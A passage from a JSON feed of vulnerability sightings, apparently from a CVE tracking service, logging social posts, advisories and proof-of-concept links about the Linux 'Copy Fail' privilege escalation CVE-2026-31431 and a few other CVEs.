"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nillpo.bsky.social/post/3mkoiogkxlc2d", "content": "\"Copy Fail \u2014 CVE-2026-31431\"\ncopy.fail", "creation_timestamp": "2026-04-30T01:48:24.446317Z"}, {"uuid": "44da0607-32ef-4c41-8ef9-1950df99062f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkojc3mpjj2i", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T01:59:22.451077Z"}, {"uuid": "d2830805-40b8-4345-80da-fba7b7c99cf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnbest.bsky.social/post/3mkojdpb4un2s", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/\n\n\ncomments  #copy.fail", "creation_timestamp": "2026-04-30T02:00:16.235645Z"}, {"uuid": "d6a67928-5009-4e5f-9e3f-dec4e3f07b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkokotmfiw2u", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T02:24:24.005961Z"}, {"uuid": "b15e840f-045f-4d85-ace1-3a56d68ae1b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkokxsswvn2e", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T02:29:26.423636Z"}, {"uuid": "5d6e7b37-7166-48dd-8526-67fbcb45a674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/richardevs/7dd9677bb9d7164af5f1d90f39047ea6", "content": "", "creation_timestamp": "2026-04-30T02:34:19.000000Z"}, {"uuid": "c7d2dba3-8d26-4953-a1d9-7392d32cfcdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Nyaasu66/638c072379b54a5d5e9a57cb5fbef073", "content": "", "creation_timestamp": "2026-04-30T02:44:38.000000Z"}, {"uuid": "7dba2a3f-bdf7-4437-97ec-c05881405621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://t.me/sysadm_in_up/2546", "content": "OpenSSL Security Advisory [7th April 2026]\n==========================================\n\nIncorrect Failure Handling in RSA KEM RSASVE Encapsulation (CVE-2026-31790)\n==========================================\n\nhttps://openssl-library.org/news/secadv/20260407.txt", "creation_timestamp": "2026-07-30T00:03:00.107256Z"}, {"uuid": "00ff3292-ccc4-4184-95b8-b798e41f207e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/LionNatsu/f1d557ade3332923c2319df9799d1b5e", "content": "", "creation_timestamp": "2026-04-30T03:54:26.000000Z"}, {"uuid": "dfd3915e-4282-4ca8-828b-217d097041df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/cr0nx/3079c57310f01ad89699bda642e0e37e", "content": "", "creation_timestamp": "2026-04-30T04:05:17.000000Z"}, {"uuid": "945930f4-a336-405f-85c7-c024e3c2c560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116489443704631952", "content": "So CopyFail CVE-2026-31431 is a thing.", "creation_timestamp": "2026-04-29T18:37:31.129965Z"}, {"uuid": "8a311bd2-a792-4cd5-b5a2-c2bfed87e53a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ridwan-muhamad/74df4a2d89a4e6c51cc180101950c79c", "content": "", "creation_timestamp": "2026-04-30T05:26:21.000000Z"}, {"uuid": "7814c4d2-793f-4b4c-bc38-1fc85945d733", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://www.theregister.com/2026/04/30/linux_cryptographic_code_flaw/", "content": "", "creation_timestamp": "2026-04-30T05:28:35.783179Z"}, {"uuid": "58884637-a899-4fba-bf7e-daf86385e130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/wangjiezhe/0f0617910e7775254fc582a4594c5e90", "content": "", "creation_timestamp": "2026-04-30T15:03:14.000000Z"}, {"uuid": "f6fcca34-7e45-4547-977d-b2485d1e9d4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mknqm356q2l2", "content": "So CopyFail CVE-2026-31431 is a thing.", "creation_timestamp": "2026-04-29T18:37:44.845463Z"}, {"uuid": "ddf88edd-3715-44fe-8084-9b4d31e6cc92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py", "content": "", "creation_timestamp": "2026-04-30T05:28:48.129836Z"}, {"uuid": "ef50cc3c-b962-4e26-8c27-8c551d5e81d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://vulnerability.circl.lu/comment/22701e2f-15d4-44db-9df9-7e7cdb26d102", "content": "", "creation_timestamp": "2026-04-30T15:40:35.427683Z"}, {"uuid": "9d8eac62-bfee-4b7d-9219-b62b255b452d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkowpljpqj2h", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-30T05:59:35.594045Z"}, {"uuid": "39e1e651-ec04-40de-b024-89ba388377cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewsbot.bsky.social/post/3mknqqm2i4u2s", "content": "Copy Fail \u2013 CVE-2026-31431 | Discussion", "creation_timestamp": "2026-04-29T18:40:06.449720Z"}, {"uuid": "d191a61b-c863-419e-bf00-f9fef0e47c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/antarcticrainforest/aa784d8f9cd8b0cc25a277cce595d450", "content": "", "creation_timestamp": "2026-04-30T06:43:27.000000Z"}, {"uuid": "eb55972a-0f30-4567-bc35-9cd257be46a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/GottZ/7cb012306afcb77f31b34fb62158d9c3", "content": "", "creation_timestamp": "2026-04-30T06:50:17.000000Z"}, {"uuid": "75ffc174-b880-4439-9034-ee0d28af8839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/c3iq.bsky.social/post/3mkp2hagybs2p", "content": "CVE-2026-31431.  This is not a drill.  copy.fail", "creation_timestamp": "2026-04-30T07:06:29.675242Z"}, {"uuid": "d97ff212-7873-4628-809d-25b46c8fab7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/mschmitt/d2b0a19034e3247428d5c31091ba7bef", "content": "", "creation_timestamp": "2026-04-30T07:09:23.000000Z"}, {"uuid": "bc39a19f-d94c-40f3-810e-f46c1baa6f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/dramforever/b86d29576f69b16b05af45745574a273", "content": "", "creation_timestamp": "2026-04-30T07:14:36.000000Z"}, {"uuid": "c7230f4a-e565-44c7-8ea5-cc37ed554f74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/blackdragonproject/102130", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\n\nCVE-2026-31431 exploited in Linux since 2017, enabling root access via simple PoC, increasing container and cloud risks.", "creation_timestamp": "2026-07-30T05:00:04.510189Z"}, {"uuid": "8799fc61-404a-4334-a883-44d0e0f555a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31278", "type": "seen", "source": "Telegram/XmAeLpCnDR7fQWWs5ZgvKZOpllMiY_5ATwXxwRV07Zq46AA", "content": "", "creation_timestamp": "2026-09-02T01:00:12.717019Z"}, {"uuid": "ddcde28a-1df0-4d5b-8258-e94096dbcba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/idrassi/8dca804c4ea4268719cb0e8f50638e11", "content": "", "creation_timestamp": "2026-04-30T08:26:25.000000Z"}, {"uuid": "c8c02532-4dbf-45a4-9d43-3a87fc826c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/webcpu/7c928d4740d4b4330646df1041a5ee1e", "content": "", "creation_timestamp": "2026-04-30T08:15:26.000000Z"}, {"uuid": "852158f4-51c4-42d6-a20e-d68664fcd634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ncharles/3b258625474f123b8528a776941e8292", "content": "", "creation_timestamp": "2026-04-30T08:00:13.000000Z"}, {"uuid": "3bf8ba49-14ec-47f4-998c-039c09bc1fbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ottijp.com/post/3mkpby7yr3s2t", "content": "CVE-2026-31431", "creation_timestamp": "2026-04-30T09:21:14.846984Z"}, {"uuid": "576f0ea3-349b-4db7-8980-8fc22482c81f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/alon710/03871871846b38f098edf226a0f312a4", "content": "", "creation_timestamp": "2026-04-30T09:30:28.000000Z"}, {"uuid": "c4840d66-c3cd-493c-aece-05102d6f4cd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://nsm.no/fagomrader/digital-sikkerhet/nasjonalt-cybersikkerhetssenter/varsler-fra-nsm/alvorlig-sarbarhet-i-linux-kjernen", "content": "", "creation_timestamp": "2026-04-30T01:35:52.000000Z"}, {"uuid": "1808df77-623f-4ff0-8541-0a8914f8e3b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn20.e-work.xyz/post/3mknrdcx42g2o", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (https://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T18:50:34.604672Z"}, {"uuid": "5a2386b5-d931-4010-be20-d6cc1a424e83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sagalinked.bsky.social/post/3mknrmu76am2g", "content": "\ud83d\udcf0 Oh no! Another copy fail! The tech world is abuzz with the latest security flaw - CVE-2026-31431. It's like a digital version of \"The Great Gatsby\" - everyone wants to know if it's going to be a disaster or just another chapter in the story. Stay tuned ...\n\n\ud83d\udd17 https://copy.fail/\n\n#Tech #Dev", "creation_timestamp": "2026-04-29T18:55:54.291664Z"}, {"uuid": "4b835726-6fb5-4c99-a76a-756546058f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kravietz.agora.echelon.pl.ap.brid.gy/post/3mknrnt5npao2", "content": "A nice new #Linux kernel exploit aka CopyFail CVE-2026-31431\n\nhttps://copy.fail/\n\n#infosec", "creation_timestamp": "2026-04-29T18:56:29.902610Z"}, {"uuid": "4ea1ba88-7e24-4c0e-8efa-9748a97f3996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewstop5.bsky.social/post/3mkns2hhn432b", "content": "Copy Fail \u2013 CVE-2026-31431\n\n#HackerNews\n\nhttps://copy.fail/", "creation_timestamp": "2026-04-29T19:03:30.741416Z"}, {"uuid": "a7862b14-fa26-4ce2-b659-3c6541c8bc38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html", "content": "", "creation_timestamp": "2026-04-30T07:24:00.000000Z"}, {"uuid": "afcb455e-30a4-4b10-9f95-73d27acc2340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://cert.europa.eu/publications/security-advisories/2026-005/", "content": "", "creation_timestamp": "2026-04-30T07:25:30.000000Z"}, {"uuid": "970d7846-a00c-49d9-99c5-0e4139a05fae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pavel.social.kernel.org.ap.brid.gy/post/3mkq2yq3symd2", "content": "CVE-2026-31431", "creation_timestamp": "2026-04-30T16:49:45.470865Z"}, {"uuid": "fff8b7b1-d16a-425f-9d4c-940084e826a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/4/copy-fail-kritische-linux-kernel-schwachstelle-ermoglicht-lokale-root-rechte", "content": "", "creation_timestamp": "2026-04-30T07:12:27.000000Z"}, {"uuid": "4b50b26c-efe9-4284-b49e-28fbe19ed2cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/bram/9b48732e03d15257f31134caea8600f2", "content": "", "creation_timestamp": "2026-04-30T10:01:41.000000Z"}, {"uuid": "3b2d6750-c3f2-43b5-a8e0-d3bd636dd29d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/reduanmasud/e4e2f5d0e7bc58d162ee306d58afe2c0", "content": "", "creation_timestamp": "2026-04-30T17:13:48.000000Z"}, {"uuid": "f9290da6-45c3-4c1c-bc1b-f378c5105d44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tildes.bsky.social/post/3mkpeu57l3q2w", "content": "Linux priveledge escalation (CVE-2026-31431) (@copy.fail)\n\nMain Link | Discussion", "creation_timestamp": "2026-04-30T10:12:39.572481Z"}, {"uuid": "08e98e47-c5f7-4d7c-8fd2-ea291303ecf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/gormih/faa271309205184d220f2eeb6ac8fb4e", "content": "", "creation_timestamp": "2026-04-30T10:37:23.000000Z"}, {"uuid": "e727d523-66fc-4e21-8b36-8c1cd2174625", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/agentwyre.ai/post/3mknsdz5qn22u", "content": "\ud83d\udd34 Copy Fail (CVE-2026-31431) gives unprivileged users a reliable Linux root path across mainstream distros\n\nCopy Fail, tracked as CVE-2026-31431, is a newly disclosed local privilege escalation bug in Linux that researchers say can reliably turn an unprivileged...\n\nhttps://copy.fail/\n\n#AI #AgentWyre", "creation_timestamp": "2026-04-29T19:08:50.870269Z"}, {"uuid": "98a17e57-8a4e-4027-9432-5e063a6b3f51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/betterhn50.e-work.xyz/post/3mknsouqjld2g", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (https://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T19:14:55.776642Z"}, {"uuid": "3b49af04-0b18-4ee6-9646-4fb358f5df2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn100.atproto.rocks/post/3mknspk4xq72s", "content": "Copy Fail \u2013 CVE-2026-31431\nhttps://copy.fail/\n\nhttps://news.ycombinator.com/item?id=47952181", "creation_timestamp": "2026-04-29T19:15:17.974203Z"}, {"uuid": "1117f125-651a-42a2-b85c-78c2b8fb7514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/_8DZ7q8HXGubn2asS1SNYbdiSRV4J0KvfO1R9whXYUDjGA", "content": "", "creation_timestamp": "2026-04-30T18:41:24.000000Z"}, {"uuid": "7c6c2607-cc0a-46f8-b9ab-02a83048f8aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/giggls.bsky.geggus.net/post/3mknstexztiu2", "content": "Hm https://security-tracker.debian.org/tracker/CVE-2026-31431", "creation_timestamp": "2026-04-29T19:17:30.609877Z"}, {"uuid": "93d427a1-5a80-42cf-b7d5-6a82d8cafdec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/XJFCu5UGSlf8LdrBjxjYOz5idEEI2EMesOUI85-NmJpK1tU", "content": "", "creation_timestamp": "2026-04-30T03:00:10.000000Z"}, {"uuid": "6a70f530-0cf8-4bf5-87e7-a4797e45ea83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mknthngxik26", "content": "Time to talk about this one.\n\nCopyFail (CVE-2026-31431) \u2014 a 732-byte Python script that roots every Linux distro shipped since 2017.\n\n\ud83d\udd01 RT @brian_pak | reposted by @hasherezade\nhttps://x.com/brian_pak/status/2049533584097362272", "creation_timestamp": "2026-04-29T19:28:46.262945Z"}, {"uuid": "4bc882f1-9bb7-433b-8841-e96ca732f841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/g0xa52a2a.bsky.social/post/3mkntolp2u22w", "content": "CVE-2026-31431 is going to be one for the history books \ud83d\ude43\n\ncopy.fail", "creation_timestamp": "2026-04-29T19:32:42.539551Z"}, {"uuid": "caf9ecbf-6a7d-49e9-818f-c4888139a9d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsycombinatorbot.bsky.social/post/3mkntx2xszb2r", "content": "Copy Fail \u2013 CVE-2026-31431 (copy.fail)\n\nDiscussion | Main Link", "creation_timestamp": "2026-04-29T19:37:23.650885Z"}, {"uuid": "a6266ed1-07fa-424a-8028-a9c091de0b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3141", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrzdd3dflu2v", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3141 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 FormGent \u0434\u043b\u044f WordPress: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0430 \u0441\u0430\u0439\u0442\u0430\n\n\n\nhttps://kripta.biz/posts/9DF0D9A5-F7E6-47A6-B7D4-0C0894146699", "creation_timestamp": "2026-08-01T11:08:11.619785Z"}, {"uuid": "8a218059-8c65-4a83-ab1c-61b651343eff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3141", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrzde2r2fj2p", "content": "CVE-2026-3141: \u05d7\u05d5\u05dc\u05e9\u05ea \u05d0\u05d1\u05d8\u05d7\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d1\u05e4\u05dc\u05d0\u05d2\u05d9\u05df FormGent \u05e9\u05dc WordPress - \u05de\u05d4 \u05e2\u05d5\u05e9\u05d9\u05dd \u05db\u05d3\u05d9 \u05dc\u05d4\u05d2\u05df \u05e2\u05dc \u05d4\u05d0\u05ea\u05e8 \u05e9\u05dc\u05db\u05dd?\n\n\n\nhttps://khesef.xyz/posts/3EBCC3D6-681D-4D8E-B41B-D4F1CA795081", "creation_timestamp": "2026-08-01T11:08:44.427019Z"}, {"uuid": "c4093d42-ed7c-43a2-929c-3c1fbcf3eece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hn-frontpage-bot.bsky.social/post/3mknu3a45lo2n", "content": "A critical Linux vulnerability, \"Copy Fail\" (CVE-2026-31431), allows unprivileged local users to gain root access. Affecting all Linux distros since 2017, it's a 100% reliable logic flaw, not a race condition, and can lead to container escapes.", "creation_timestamp": "2026-04-29T19:39:43.956707Z"}, {"uuid": "dfeda009-4b03-4324-9324-de388a79700e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://mstdn.social/users/jschauma/statuses/116489699707306146", "content": "Ooooh, nice:\nhttps://xint.io/blog/copy-fail-linux-distributions\nCVE-2026-31431: Local privilege escalation to root using a trivial 732 byte python script for pretty much every Linux distribution since 2017.\n#CopyFail", "creation_timestamp": "2026-04-29T19:42:37.387249Z"}, {"uuid": "709c1b74-7dc7-4c87-a280-905467cfbe22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3mknuakdijtq2", "content": "Ooooh, nice:\n\nhttps://xint.io/blog/copy-fail-linux-distributions\n\nCVE-2026-31431: Local privilege escalation to root using a trivial 732 byte python script for pretty much every Linux distribution since 2017.\n\n#CopyFail", "creation_timestamp": "2026-04-29T19:42:45.645246Z"}, {"uuid": "1334ec89-da83-4bf7-a387-17e1f403f8e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3141", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrzjmdng2w2t", "content": "\ud83d\udd34 CVE-2026-3141 - Critical (9.1)\n\nThe FormGent plugin for WordPress is vulnerable to unauthorized arbitrary file deletion due to a ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-3141/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-01T13:00:45.442154Z"}, {"uuid": "f2508d8f-9fb3-46f1-a135-8b3212987bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hackernewsrobot.bsky.social/post/3mknupcyraq2c", "content": "Copy Fail \u2013 CVE-2026-31431", "creation_timestamp": "2026-04-29T19:50:57.810485Z"}, {"uuid": "094e26ef-8d5a-44da-afb8-e59b049b50b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/117035953262981755", "content": "#OT #Advisory VDE-2026-072Pilz: Multiple Vulnerabilities affecting industrial PC IndustrialPI\nThe Linux kernel used in the IndustrialPI, 'linux-image-revpi-v8', prior to version 6.12.91-revpi0-rpi-v8 contains multiple vulnerabilities. Successful exploitation of these vulnerabilities can give an attacker full control over the device.#CVE CVE-2026-43284, 